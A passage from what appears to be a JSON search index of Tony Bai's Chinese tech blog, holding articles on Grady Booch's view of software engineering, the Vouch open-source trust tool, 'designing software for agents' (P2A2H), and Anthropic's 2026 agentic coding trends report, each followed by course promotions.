带来的巨大变革，我们就像站在悬崖边缘。\n你可以选择盯着深渊，恐惧地喊：“完蛋了，我要掉下去了。”\n你也可以选择抬起头，说：“不，我要跳跃，我要飞翔。”\n这就是起飞的时刻。\nAI 帮你消除了实现的摩擦，降低了构建的成本。以前你受限于手速和团队规模，做不出伟大的产品；现在，限制你的只有你的想象力。\n软件工程没有死，它只是进化了。\n而我们，有幸成为这第三次黄金时代的开启者。\n资料链接：https://www.youtube.com/watch?v=OfMAtaocvJw\n你准备好“飞翔”了吗？\nGrady Booch 的判断让我们看到了一个更宏大的未来。作为一名开发者，你是否也曾感觉到“编码”与“工程”之间的那道分界线？你认为在即将到来的“第三次黄金时代”，除了系统思维，还有哪些能力是不可或缺的？\n欢迎在评论区留下你的思考或困惑！ 让我们一起在悬崖边缘，寻找飞翔的力量。\n如果这篇文章给了你走出焦虑的勇气，别忘了点个【赞】和【在看】，并转发给你那些还在被“AI 替代论”困扰的朋友！\n如何成为 AI 时代的“系统工程师”？\nGrady Booch 告诉我们要具备系统思维，要学会编排 AI，而不是被 AI 取代。但这具体怎么落地？\n如何从“写代码”转型为“设计 Spec”？ 如何利用 Agentic Workflow 组建你的“数字研发团队”，去构建复杂的系统？ 如何建立 AI 时代的代码审查和质量控制体系？ 欢迎关注我的极客时间专栏**《AI 原生开发工作流实战》**。\n我们不教你如何在这个时代“卷”代码，我们教你如何站在巨人的肩膀上，成为驾驭算力的 System Engineer。\n扫描下方二维码，开启你的第三次黄金时代。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/13/grady-booch-uml-software-engineering-third-golden-age-begins/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/grady-booch-uml-software-engineering-third-golden-age-begins-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/13/grady-booch-uml-software-engineering-third-golden-age-begins\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/13/grady-booch-uml-software-engineering-third-golden-age-begins\"\u003ehttps://tonybai.com/2026/02/13/grady-booch-uml-software-engineering-third-golden-age-begins\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 2026 年初的今天，如果你问一个软件工程师“最近感觉如何？”，得到的回答大概率是焦虑。\u003c/p\u003e\n\u003cp\u003eAnthropic 的 CEO Dario Amodei 曾预言：“软件工程将在 12 个月内被自动化。”\u003c/p\u003e","title":"UML 之父 Grady Booch：别听 CEO 瞎忽悠，软件工程的第三次黄金时代才刚刚开始"},{"content":"AI 垃圾代码泛滥？HashiCorp 创始人开源 Vouch：重构开源信任机制 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nAI 垃圾代码泛滥？HashiCorp 创始人开源 Vouch：重构开源信任机制 二月 12, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/02/12/ai-garbage-code-hashicorp-founder-vouch-rebuilding-open-source-trust\n大家好，我是Tony Bai。\n在生成式 AI 大模型以及AI Coding Agent（如Claude Code等）极大地降低了代码编写门槛的今天，开源维护者的防线正面临崩溃。当“看起来像样但毫无逻辑”的 AI 垃圾代码（AI Slop）充斥 PR 列表时，传统的“来者不拒”模式已不再适用。为此，HashiCorp 创始人 Mitchell Hashimoto 开源了新工具 Vouch，试图将开源治理从“验证代码”回归到“验证人”。\n开源治理的新危机：当贡献变得太容易 在过去二十年的开源黄金时代，社区奉行的是“信任但验证（Trust and Verify）”的原则。这一原则建立在一个隐含的前提上：贡献代码是有成本的。理解代码库、编写逻辑、提交 PR，这些努力本身就是一个自然的过滤器，筛掉了大多数低质量的贡献。\n然而，2024 年以来的 AI 浪潮打破了这一平衡。\nMitchell 在 Vouch 的发布文档中直言不讳地指出：\n“不幸的是，随着 AI 工具的出现，人们可以轻而易举地创建出看起来合理但质量极低的贡献，而无需任何真正的理解。”\n这种被称为 “AI Slop（AI 垃圾）” 的内容，正在消耗维护者宝贵的精力。维护者不再是在审核代码逻辑，而是在进行一场分辨“对方是不是人类”的图灵测试。\nVouch 的解法：重构信任机制 面对危机，Mitchell 没有选择更复杂的自动化测试，而是选择了一种复古且激进的社会学解法——Vouch（担保）。\nVouch 的核心逻辑非常简单：如果要参与项目（提交 PR、评论等），你必须先获得信任。\n1. 显式信任白名单 Vouch 不再假设陌生人是善意的，而是要求显式授权。它通过一个扁平的文本文件（默认名为 VOUCHED.td），记录了所有被信任用户的列表。\nVouched（已担保）：被允许参与项目的用户。 Denounced（已谴责）：明确被屏蔽的用户（例如提交恶意代码或滥用 AI 的人）。 GitHub Actions 会自动检查 PR 提交者是否在名单中。如果不在，PR 可能会被自动关闭，并将那些“低成本的 AI 投机者”拒之门外。\n2. 并非技术门槛，而是“社交投名状” 这是否会让新手望而却步？Mitchell 在 FAQ 中给出了否定的回答。\n获取信任并不需要你先修复一个复杂的 Bug，你需要做的仅仅是像一个正常人类一样交流。\n“基本上：像在任何正常的人类社交环境中一样介绍你自己，你就能获得担保。”\n一个真诚的 Issue 评论：“嗨，我是开发者 X，我想修复 Y 问题，我的思路是 Z”，远比一个冷冰冰的、由 AI 生成的一键 PR 更能赢得维护者的信任。\n技术实现：Trustdown 与去中心化 Vouch 的设计体现了极简的 Unix 哲学和去中心化思想：\nTrustdown (.td) 格式：信任列表不是数据库，而是一个简单的文本文件。它易于阅读，易于 Diff，完全基于 Git 进行版本控制。 基于 Nushell：Vouch 的核心逻辑是用 Nushell 实现的，这意味着它没有复杂的依赖，是一个纯粹的 CLI 工具。 信任网络（Web of Trust）：这是 Vouch 最具野心的愿景。项目 A 可以配置 Vouch 去读取项目 B 的信任列表。这意味着，如果你在 Ghostty（Mitchell 的终端项目）中获得了信任，你在其他引用了 Ghostty 列表的项目中也将自动获得信任。 这种机制有望在开源界建立起一个跨项目的“信任联邦”，让优质贡献者畅通无阻，让 AI 垃圾制造者寸步难行。\n小结 Vouch 的出现，标志着开源治理的一个转折点。在 AI 能够无限量生成代码的时代，“人”的信誉变得前所未有的重要。\nVouch 不是为了制造精英主义的壁垒，而是为了保护维护者的热情。它提醒我们：开源的本质不是代码的堆砌，而是人与人之间的协作与信任。\nvouch开源项目仓库地址：https://github.com/mitchellh/vouch\n你支持这种“验证人”的做法吗？\n面对 AI 生成的代码洪流，你认为 Vouch 这种显式白名单模式是保护了维护者，还是会阻碍新手加入？在你的开源项目中，是否也曾遇到过让你头大的“AI 垃圾 PR”？\n欢迎在评论区分享你的看法或应对策略！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/12/ai-garbage-code-hashicorp-founder-vouch-rebuilding-open-source-trust/","summary":"\u003ch1 id=\"ai-垃圾代码泛滥hashicorp-创始人开源-vouch重构开源信任机制---tony-bai\"\u003eAI 垃圾代码泛滥？HashiCorp 创始人开源 Vouch：重构开源信任机制 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"AI 垃圾代码泛滥？HashiCorp 创始人开源 Vouch：重构开源信任机制"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/12/p2h-to-p2a2h-software-architecture-inversion-designing-for-agents\n大家好，我是Tony Bai。\n回顾过去 50 年的软件工程史，无论技术栈如何更迭——从汇编到 C，从 Web 到 Mobile，从单体到微服务——其核心的生产关系从未改变。\n这种关系被称为 P2H (Programmer to Human)：即程序员（Programmer）揣摩人类（Human）的需求，将其固化为代码，构建成功能确定的软件产品，最后交付给用户使用。\n在这个模型中，程序员是“权威”。我们决定了按钮在左边还是右边，决定了业务流程是三步还是五步。用户必须削足适履，去学习和适应软件的逻辑。\n然而，这种模式正面临前所未有的危机。\n人类的需求是无限且流动的（“我想分析一下上个月买咖啡的钱占总支出的比例”），但程序员编写的代码是有限且刚性的（“抱歉，App 只有‘按类别查看支出’的功能”）。\n这个供需矛盾，导致了无穷无尽的需求变更、功能堆砌，最终造就了难以维护的“软件屎山”。\n但是，AI Agent 的出现，打破了这个死结。\n我们在程序员和用户之间，插入了一个拥有无限耐心、通晓所有 API、且具备动态生成能力的“超级中间商”——智能体（Agent）。\n软件架构正在经历一场“哥白尼时刻”般的倒置：我们不再直接为人类编写软件，我们正在进入 P2A2H (Programmer to Agent to Human) 的新纪元。\n定义 P2A2H：供应链的重构 P2A2H 不仅仅是工作流的变化，它是软件产业链的彻底重组。\n1. Programmer (P)：工具制造者\n在 P2A2H 模型中，程序员退守到了基础设施层。我们不再直接编写面向最终用户的业务逻辑（Business Logic），而是编写原子能力（Atomic Capabilities）、工具（Tools）、规则（Rules）和护栏（Guardrails）。我们是“造物主”，负责定义物理定律，而不是搭建具体的房子。\n2. Agent (A)：运行时环境与超级工人\nAgent 成了新的 Runtime。它接收 Human 的模糊意图，实时调用 P 提供的工具，即时生成（Just-in-time） 或 动态编排 出满足特定需求的解决方案。它是“超级工人”，也是“软件本身”。\n3. Human (H)：指挥官\n用户不再是被动的操作者，而是主动的指挥官。他们不再需要学习“如何使用软件”，因为软件会根据他们的意图自动重组。\n这意味着，软件工程的重心，正在从“人机交互 (HCI)”转移到“机机交互 (M2M)”与“智能体体验 (AX)”。\nP2A (Programmer to Agent)：什么是“智能体体验 (AX)”？ 过去，我们谈论 UX（用户体验），我们关注的是按钮是否好点、颜色是否悦目、文案是否感人。因为人类是感性的、迟钝的、容易犯错的。\n现在，我们需要谈论 AX (Agent Experience)。\n因为你的代码的第一用户不再是人，而是 AI。AI 是理性的、极速的、但也是极其依赖上下文的。\n为了实现高效的 P2A，我们需要对现有的软件架构进行三大重构：\n1. API 的重构：从“简洁”到“自描述” 在 P2H 时代，我们追求 API 的简洁。如果出错了，返回一个 404 Not Found 或者一段给人看的 User not authorized 就足够了。\n但在 P2A 时代，这种 API 是不合格的。Agent 是一个黑盒，当它收到一个错误时，如果缺乏上下文，它会陷入“幻觉”或死循环。\nAgent-Friendly API 的设计原则：\nVerbose Error (详尽报错)：错误信息不仅要说是错的，还要说为什么错以及怎么改。 // Bad for Agent { \u0026#34;error\u0026#34;: \u0026#34;Invalid Input\u0026#34; } // Good for Agent (AX) { \u0026#34;error\u0026#34;: \u0026#34;InvalidDateRange\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;Start date cannot be later than end date.\u0026#34;, \u0026#34;schema_ref\u0026#34;: \u0026#34;#/definitions/DateRange\u0026#34;, \u0026#34;suggestion\u0026#34;: \u0026#34;Swap the start_date and end_date parameters.\u0026#34; } 只有这样，Agent 才能利用其推理能力实现Self-Correction（自我修复）。\nHypermedia / HATEOAS (Hypermedia as the Engine of Application State) 的回归：API 应该告诉 Agent 下一步能做什么。这种在 Web 2.0 时代被嫌弃的繁琐设计，在 Agent 时代可能迎来复兴，因为这为 Agent 提供了导航图。 2. 文档的重构：从 Readme 到 Spec 以前写文档是为了让同事看懂，充满了“请注意”、“通常情况下”这种模糊词汇，甚至还配了大量截图。\nAgent 看不懂截图，也讨厌模糊。\n未来的文档将演变为 Spec（规范说明书）和 Schema（模式定义）。\nOpenClaw (原Moltbot) 的启示：为什么 Moltbot 强调“要连接 xx，就写一个 CLI”？因为 CLI 的 –help 文档就是最标准、最结构化的 Prompt。 MCP (Model Context Protocol)：为什么 MCP 会火？因为它本质上就是一种 P2A 协议。它强制程序员用 JSON Schema 清晰地定义资源（Resources）、提示词（Prompts）和工具（Tools）。这实际上是在为 Agent 建立世界模型。 3. 工具的重构：Headless First 图形界面（GUI）是给人类的“降维打击”，而命令行（CLI）和 API 才是机器的“母语”。\n在 P2A2H 架构中，所有的功能必须优先实现 Headless（无头模式）。\n反模式：想要查询数据，必须登录网页后台，点击三次菜单，导出 CSV。Agent 很难操作（需要调用昂贵的视觉模型）。 AX 模式：提供一个 query_data 的 CLI 或 API。Agent 可以通过管道（Pipe）直接处理数据流。 程序员的新格言：不要构建只能用鼠标点击的功能。如果它不能被脚本调用，它就不存在。\nA2H (Agent to Human)：软件的“液态化” 当 P 为 A 准备好了完美的工具箱，A 将如何为 H 服务？\n这将导致软件形态的终极质变——从“固态产品”变成“液态服务”。\n1. 一次性软件 (Disposable Software) 想象这样一个场景：\n用户（H）对 Agent 说：“我想统计一下家里两只猫过去三年的医疗花费，并对比一下猫粮价格的波动，生成一个图表。”\nP2H 模式：用户需要去 App Store 找一个“宠物记账 App”，如果 App 没有“猫粮价格对比”功能，用户就没辙了。 P2A2H 模式： Agent 理解意图。 Agent 调用 P 提供的“数据库工具”抓取账单，“OCR 工具”识别发票，“搜索工具”抓取历史粮价。 Agent 现场编写 一个 Python 脚本，进行数据清洗和绘图。 Agent 运行脚本，把图表展示给用户。 任务结束，脚本销毁。 这个“软件”（Python 脚本）只存在了 5 分钟。它不是为了 100 万人设计的，它是为了这 1 个用户在这一刻的特定需求设计的。\n软件不再是名词，而变成了动词。\n2. 生成式 UI (Generative UI) 既然功能是动态的，界面为什么必须是静态的？\n在 P2A2H 架构中，程序员不再纠结按钮放左边还是右边。程序员只提供 Design System（设计系统）和 UI Components（组件库）。\nAgent 会根据用户当前的设备（手机/VR眼镜）、视力状况、使用习惯，动态渲染 出最适合当下交互的界面。\n对于老人，Agent 生成大字体、语音交互优先的界面。 对于极客，Agent 直接生成一个 Dashboard 或 CLI 界面。 UI 不再是设计师的画布，而是 Agent 与人类沟通的即时语言。\n挑战与思考：程序员的门槛是降了还是升了？ 有人可能会问：“如果 Agent 能自己写脚本、自己生成 UI，那程序员是不是要失业了？”\n答案恰恰相反。在 P2A2H 模式下，程序员的门槛被极大抬高了。\n1. 从“实现者”到“抽象者” 以前，你只需要写代码实现业务逻辑（Implementer）。\n现在，你需要设计“能让 AI 理解并正确使用的工具”（Toolmaker）。这要求你具备极强的抽象能力。如果你设计的工具边界不清，或者副作用（Side Effects）未被隔离，Agent 可能会拿着你的工具把生产环境搞崩。\n2. 安全与护栏 (Safety \u0026amp; Guardrails) 当 Agent 拥有了自主权，P 的核心职责变成了“设置护栏”。\n如何防止 Agent 生成恶意 SQL？ 如何防止 Agent 在执行“清理文件”任务时误删系统关键数据？ 如何确保 Agent 生成的 UI 不包含欺诈信息？ 程序员成了 Agent 物理世界的守门人。我们需要编写大量的 Validator（验证器） 和 Sandbox（沙箱）策略，来约束这个强大的数字劳动力。\n3. 元编程 (Meta-Programming) P2A2H 本质上是最高级的元编程——编写“编写程序的程序”的规则。\n你需要思考的不是 if (x \u0026gt; 0)，而是“如何定义规则，让 Agent 知道在什么情况下应该生成 if (x \u0026gt; 0)”。\n小结：从工匠到“神” 在 P2H 时代，程序员是工匠。我们雕琢每一个像素，优化每一行 SQL，为了满足用户的需求疲于奔命。\n在 P2A2H 时代，程序员的角色更接近于“神”（造物主）。\n我们创造法则（Specs），锻造神器（Tools），赋予智慧（Context），然后放手。\n让那些不知疲倦的智能体（Angels），去响应人类的祈祷，去构建那个千变万化的世界。\n这是一次伟大的升维。\n别再盯着那个该死的按钮颜色了，去设计能让 Agent 自由飞翔的 API 和 Tools 吧。\n你准备好成为“工具制造者”了吗？\n软件正在从“固态产品”变成“液态服务”。在这种架构倒置的未来，你认为程序员最不可被 AI 替代的能力是什么？你会为了 AX（智能体体验）而主动增加 API 的“繁琐”程度吗？\n欢迎在评论区分享你的架构构想！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/12/p2h-to-p2a2h-software-architecture-inversion-designing-for-agents/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/p2h-to-p2a2h-software-architecture-inversion-designing-for-agents-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/12/p2h-to-p2a2h-software-architecture-inversion-designing-for-agents\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/12/p2h-to-p2a2h-software-architecture-inversion-designing-for-agents\"\u003ehttps://tonybai.com/2026/02/12/p2h-to-p2a2h-software-architecture-inversion-designing-for-agents\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e回顾过去 50 年的软件工程史，无论技术栈如何更迭——从汇编到 C，从 Web 到 Mobile，从单体到微服务——其核心的生产关系从未改变。\u003c/p\u003e","title":"从 P2H 到 P2A2H：软件架构的终极倒置——为智能体设计软件"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/11/2026-software-development-anthropic-agentic-coding-trends-report\n大家好，我是Tony Bai。\n时间来到 2026 年初。回顾过去的一年，软件工程领域发生的变化比过去十年加起来还要多。\n如果说 2024-2025 年是 AI Coding（AI 编程） 的“试水期”，开发者们还在为 Cursor 的 Tab 补全感到兴奋，或者为 Claude 3.5 能够写出一个贪吃蛇游戏而惊叹；那么 2026 年，正如 Anthropic 最新发布的重磅报告《2026 Agentic Coding Trends Report》所言，我们正式进入了 Agentic Coding（智能体编程） 的深水区。\n这份报告更像是一份“新时代软件工程的生存指南”。它揭示了一个核心事实：AI 已经从一个被动的“Copilot（副驾驶）”，进化为一个主动的“Collaborator（协作者）”，甚至是一个独立的“Team（团队）”。\n在这个新时代，软件开发的瓶颈不再是“写代码”的速度，而是“定义问题”的精度和“编排智能体”的能力。作为开发者，我们必须清醒地认识到：SDLC（软件开发生命周期）正在被重写，而我们的角色也正在被重新定义。\n今天，我们将深度解读这份报告中的 8 大趋势，剖析 3 大核心变革，并探讨在 2026 年，作为一名技术人，该如何拿到通往未来的船票。\n地壳运动 —— 软件开发生命周期的彻底重构 Anthropic 报告的开篇就用“Tectonic Shift（地壳运动）”来形容正在发生的变化。这绝非夸张。\n1. 抽象层级的再次跃迁 在计算机历史上，每一次抽象层级的提升，都带来了生产力的爆发：从机器码到汇编，从汇编到 C，从 C 到高级语言。\n而在 2026 年，我们迎来了最新的抽象层：自然语言驱动的智能体编排。\n报告指出，“写代码、调试、维护” 这些战术性的工作，正在全面转移给 AI。工程师的精力开始聚焦于架构设计、系统设计和战略决策。\n这意味着，未来的“源码”，可能不再是 GitHub 仓库里那一堆 .ts 或 .go 文件，而是“Prompt + Spec（规规说明书） + Agent Configuration（智能体配置）”。\n2. 入职（Onboarding）时间的坍塌 这是报告中一个极具冲击力的预测：“新员工入职一个复杂代码库的时间，将从数周缩短为数小时。”\n还记得以前入职一家新公司，光是配置环境、阅读文档、理解那堆“屎山代码”的逻辑，就要花掉两周时间吗？\n在 Agentic Coding 时代，像 Augment Code 这样的工具（报告案例），利用 Claude 对代码库的深度理解，可以让工程师在几分钟内获得对系统上下文的掌控。 此外，一位 CTO 预估需要 4-8 个月完成的项目，在 Claude Code的加持下，两周内就完成了。这是人力资源配置的革命。企业可以实现“动态激增（Surge）”式的人员调配，工程师可以随时在不同项目间无缝切换，而无需支付高昂的认知切换成本。\n3. 工程师的“全栈化” 报告揭示了一个有趣的现象：AI 并没有取代工程师，而是让工程师变得更**“全栈”**了。\n前端工程师开始敢于修改后端数据库，后端工程师也能轻松搞定复杂的 CSS 动画。为什么？因为 AI 填补了那部分“知识鸿沟”。\n只要你具备系统思维和验收能力，具体的实现细节（Implementation Details）不再是障碍。这标志着“领域专家（Domain Expert）”与“通用工程师（Generalist）”的边界开始模糊。\n能力跃迁 —— 从单体智能到“智能体集群” 如果说第一部分是“软性”的流程变化，那么第二部分则是“硬核”的技术能力升级。Anthropic 报告明确指出，2026 年的 AI 编码将呈现出集群化和长时程的特征。\n4. 单体 Agent 进化为 Coordinated Teams 2025 年，我们还在试图用一个超级 Agent 解决所有问题。2026 年，这种做法已经被淘汰。\n报告预测：“多智能体系统（Multi-agent Systems）将取代单智能体工作流。”\n分工与协作：就像人类团队一样，我们需要“产品经理 Agent”拆解需求，“架构师 Agent”设计接口，“编码 Agent”写代码，“测试 Agent”找 Bug。 并行推理：通过在不同的上下文窗口（Context Windows）中并行处理任务，效率实现了指数级增长。 案例：劳动力管理平台 Fountain 使用 Claude 构建了分层的多智能体编排系统，将筛选速度提升了 50%。 5. 从“分钟级”任务到“周级”长跑 早期的 Agent 只能处理“帮我写个函数”这种几分钟的短任务。\n但报告指出，Long-running Agents（长时运行智能体） 正在成为主流。\n时间跨度：Agent 可以连续工作数天甚至数周。 自我管理：它们能够制定计划、迭代代码、从失败中恢复（Self-healing），并维护一致的状态。 消除技术债：那些以前因为“太麻烦”而被搁置的重构任务、文档补全任务，现在可以丢给一个长时运行的 Agent，让它在后台慢慢跑，直到把 backlog 清空。 Rakuten 的案例令人印象深刻：工程师让 Claude Code 在一个拥有 1250 万行代码的开源库（vLLM）中实现一个复杂的数学算法。Claude 独自工作了 7 个小时，最终交付了准确率为 99.9% 的代码。\n这就是“无人值守开发（Unattended Development）”的雏形。\n6. 协作悖论：为什么我们还不能“完全放手”？ 这部分是报告中最发人深省的洞察。\nAnthropic 的社会影响研究团队发现了一个**“协作悖论”**：\n尽管工程师在 60% 的工作中使用了 AI，但他们报告称，能够“完全委托（Fully Delegate）”给 AI 的任务只有 0-20%。\n这意味着 Human-in-the-loop（人类在环）依然是核心。\nAI 不是那种“交给他就不管了”的外包，而是一个需要你持续关注、持续反馈的“实习生”或“副驾驶”。\n2026 的关键能力：智能体开始学会“求助（Ask for help）”。与其盲目猜测，不如在不确定时主动询问人类：“这里有两种设计方案，你倾向于哪一种？” 监督的规模化：人类不再逐行审查代码，而是审查关键决策点和高风险边界。 行业冲击 —— 经济学与组织架构的重塑 技术变革必然引发经济变革。报告的第三部分探讨了 Agentic Coding 对商业世界的深远影响。\n7. 软件开发的经济学重塑 传统的软件开发成本高昂，导致很多“小需求”或“长尾需求”无法被满足（ROI 算不过来）。\n但 AI Agent 的出现，极大地降低了软件生产的边际成本。\nPapercuts：那些让用户难受但又不值得花工程师时间去修的小 Bug，现在可以被 Agent 批量修复。 产出量（Output Volume）：生产力的提升不仅仅是“做得快”，更是“做得多”。企业可以尝试更多的实验，开发更多的定制化工具。 案例：通信巨头 TELUS 的团队创建了 13,000 多个自定义 AI 解决方案，节省了 50 万小时的工作时间。 8. 编程能力的“民主化”与“下沉” 这是我认为最激动人心的趋势：Agentic Coding Expands to New Surfaces and Users.\n语言障碍消失：COBOL、Fortran 这些“古董语言”的维护不再是难题。AI 是最好的翻译官。 非技术人员入场：销售、市场、法务团队，开始使用 Agent 构建自己的自动化工具。 案例：法律科技平台 Legora 让不懂代码的律师也能利用 Claude Code 构建复杂的自动化工作流；Zapier 内部实现了 89% 的 AI 采用率，设计团队直接用 Claude Artifacts 进行原型开发。 “人人都是程序员” 的口号喊了很多年，但在 2026 年，依靠 Agent，这终于变成了现实。\n9. 安全的双刃剑 当然，硬币总有两面。报告特别提到了 Dual-use Risk（双重用途风险）。\n防御侧：Agent 可以自动进行代码审计、漏洞扫描、安全加固。 攻击侧：攻击者也可以利用 Agent 批量生成攻击脚本、寻找零日漏洞。 这要求我们在设计 Agentic System 时，必须将安全性（Security-first Architecture） 植入到基因中。\n2026 年的行动指南 —— 优先事项 面对这些汹涌而来的趋势，作为技术决策者或一线开发者，我们在 2026 年应该做什么？ Anthropic 给出了 4 个明确的优先事项：\n掌握多智能体协作 (Master Multi-agent Coordination)：不要再沉迷于优化单个 Prompt。去学习如何使用 Gas Town 或 Claude Code 的 Agent Team 模式。学会如何让多个 Agent 像一支军队一样协同作战。这是解决复杂问题的唯一路径。\n扩展人类的监督能力 (Scale Human Oversight)：构建自动化审查系统。当 AI 一天生成 1 万行代码时，靠人眼看是看不过来的。你需要构建基于 AI 的 Reviewer，以及基于严格测试（Test-Driven）的验收流水线。\n赋能领域专家 (Empower Domain Experts)：不要把 AI 编程工具锁在技术部门。把它们分发给产品经理、法务、运营。让他们自己去构建解决问题的工具。\n内嵌安全架构 (Embed Security Architecture)：从第一天起，就要考虑 Agent 的权限边界。不要给 Agent 无限制的 sudo 权限。构建沙箱（Sandbox）和鉴权机制。\n小结：拥抱“不确定性”的艺术 读完这份报告，我最大的感受是：软件工程正在从一门“精确的科学”，变成一门“管理的艺术”。\n在 Software 1.0 时代，我们追求的是确定性，每一行代码的执行逻辑都是可预测的。\n在 Agentic Coding 时代，我们管理的是概率，是模糊性，是一群有一定自主权但偶尔会犯错的数字员工。\n这并没有让软件工程变简单，反而变得更难、更深刻了。\n我们不再是代码的作者（Author），我们是代码的编辑（Editor）、导演（Director）和架构师（Architect）。\n2026 年，对于那些愿意拥抱变化、主动升级认知模型的开发者来说，将是最好的时代。限制你产出的，不再是手速，而是你的想象力和领导力。\n资料链接：https://resources.anthropic.com/hubfs/2026%20Agentic%20Coding%20Trends%20Report.pdf\n你感到的是“解放”还是“威胁”？\nAnthropic 预测 2026 年新员工入职代码库的时间将坍塌为几小时。在你目前的团队中，是否已经感受到了 AI 带来的这种“入职加速”？如果有一天你主要的工作变成了“编排 Agent 集群”，你觉得最大的挑战是什么？\n欢迎在评论区分享你的 2026 职业预判！\n如何落地 Anthropic 的预测？\n趋势看懂了，但怎么落地？\n如何构建一个多智能体协作的代码重构流水线？ 如何实现长时程 Agent 的状态管理和断点续传？ 如何让非技术人员也能安全地使用 Coding Agent？ Anthropic 的报告指明了方向，而我的专栏负责提供地图和车辆。\n在我的极客时间专栏**《AI 原生开发工作流实战》**中，我们将深度对齐这份报告中的前沿技术：\n实战 Agent Team：复刻 Claude Code 的多智能体协作模式。 安全与治理：学习如何为 Agent 构建安全护栏。 构建自动化工厂的初步方案：打造基于 Spec 驱动的“无人值守”开发流。 不要做旧时代的守墓人，做新时代的领航者。扫描下方二维码，开启你的 Agentic Coding 之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/11/2026-software-development-anthropic-agentic-coding-trends-report/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" 